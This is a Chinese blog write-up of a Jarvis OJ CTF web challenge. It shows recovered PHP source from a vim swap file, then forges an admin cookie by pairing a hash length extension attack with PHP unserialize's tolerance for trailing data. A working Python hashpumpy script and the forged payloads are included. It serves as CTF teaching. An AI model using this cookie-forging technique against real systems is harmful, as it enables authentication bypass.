美文网首页ctf
WEB-flag在管理员手里 #md5($salt.strrev

WEB-flag在管理员手里 #md5($salt.strrev

作者: Watanuki | 来源:发表于2018-09-18 00:05 被阅读91次

    描述

    只有管理员才能获得flag,你能想办法获得吗?Only Admin can see the flag!!题目链接:http://web.jarvisoj.com:32778/

    分析

    1. 抓包看见:Cookie: role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
      解url编码得到role=s:5:"guest";那么就改成 role=s%3A5%3A%22Admin%22%3B,嗯,不行,人家又没那么傻。于是变成了hsh值的问题。
    2. 随便试试把hsh参数删掉,回显Notice</b>: Undefined index: hsh in <b>/opt/lampp/htdocs/index.php</b> on line <b>20</b><br />
    3. 走投无路,找源码泄露。扫描发现index.php~,访问下了个vim临时文件(.index.php.swp),vim -r index.php后保存。
            <?php 
                $auth = false;
                $role = "guest";
                $salt = 
                if (isset($_COOKIE["role"])) {
                    $role = unserialize($_COOKIE["role"]);
                    $hsh = $_COOKIE["hsh"];
                    if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                        $auth = true;
                    } else {
                        $auth = false;
                    }
                } else {
                    $s = serialize($role);
                    setcookie('role',$s);
                    $hsh = md5($salt.strrev($s));
                    setcookie('hsh',$hsh);
                }
                if ($auth) {
                    echo "<h3>Welcome Admin. Your flag is 
                } else {
                    echo "<h3>Only Admin can see the flag!!</h3>";
                }
            ?>
    

    结论有:
    a.role === admin
    b. hsh === md5($salt.strrev($_COOKIE["role"]))
    已知md5(salt+';"tseug":5:s')——3a4727d57463f122833d9e732f94e4e0,需要得到md5(salt+';"nimda":5:s')作为hsh提交。注意那个rev!

    1. 熟悉的节奏!类似hash拓展攻击!但是略有不同!
      已经做过的hash拓展攻击:
      hash_extender:已知hash{secret(已知长度)},求hash{secret (已知长度)|| data (填充字段)|| attacker_controlled_data(自定义字符串)}
      hashpumpy:hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
      本题:已知md5(secret(未知长度)+string1),求md5{secret||%00等填充字段||2string}
      最大的不同就是不知道salt长度!能有多长!到64够不够!爆破不就可以了!
    2. 卡壳求助场外:
      PHP在反序列化时,会忽略后面多余的字符。所以其实可以变成求md5(salt+';"tseug":5:s'+填充字段+';"nimda":5:s'),这样就可以套上hash拓展攻击了!
    3. 撸代码。
      a. 一开始疯狂的跟我说无法识别
      14 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's:5:"admin";\x00\x00\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80s:5:"guest";'} <p>Your browser sent a request that this server could not understand.<br />
      翻了资料发现hashpumpy还要手动把\x改成%?可是上次不是说好了不用改吗QAQ,说好的requests会自动url编码呢!
      搜了下发现requests会自动把url和post字段进行url编码,但是cookies不会!
      诶那上次的不是post吗为什么要decode('hex')!仔细看了下上次的结果是bytes,r'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',好吧!
      b. 改成urllib.quote(message[::-1])后搞定
      12 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B'} Wel come Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3}
    # -*- coding: utf-8 -*-
    import requests,hashpumpy,urllib
    def webre(): #py2
        url = 'http://web.jarvisoj.com:32778/'
        sha = '3a4727d57463f122833d9e732f94e4e0'
        string0 = ';"tseug":5:s'
        string1 = ';"nimda":5:s'
        for i in range(15):
            digest, message = hashpumpy.hashpump(sha,string0,string1,i)
            payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}
            #payload ={'role':(message[::-1]), 'hsh':digest}
            print i,payload
            html = requests.get(url,cookies=payload).text#提交答案
            if 'Welcome' in html:
                print html
            
    webre()
    

    相关文章

      网友评论

        本文标题:WEB-flag在管理员手里 #md5($salt.strrev

        本文链接:https://www.haomeiwen.com/subject/yrgjnftx.html